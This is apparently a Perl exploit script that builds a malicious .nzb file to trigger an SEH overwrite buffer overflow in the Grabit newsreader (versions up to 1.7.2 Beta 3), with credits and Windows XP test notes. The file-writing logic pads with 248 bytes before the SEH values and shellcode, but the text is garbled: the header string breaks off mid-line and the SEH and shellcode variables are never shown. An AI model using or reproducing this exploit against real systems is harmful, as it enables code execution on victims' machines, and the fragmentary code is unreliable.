#!/usr/bin/perl # Grabit<=1.7.2 Beta 3 (.nzb) SEH Overwrite Exploit # Coded by: Gaurav Baruah # Discovery: Niels Teusink #http://packetstormsecurity.org/filedesc/grabit-overflow.txt.html # Greetz to Vivek #Tested on XP SP3 and XP SP2 (en) my $header1= " ./$file") || die "\nCan't open $file: $!"; print nzb "$header1" . "\x41" x 248 . "$next_seh" . "$seh" . "$shellcode"; close (nzb); sleep 1; print "\nFile $file successfully created!\n";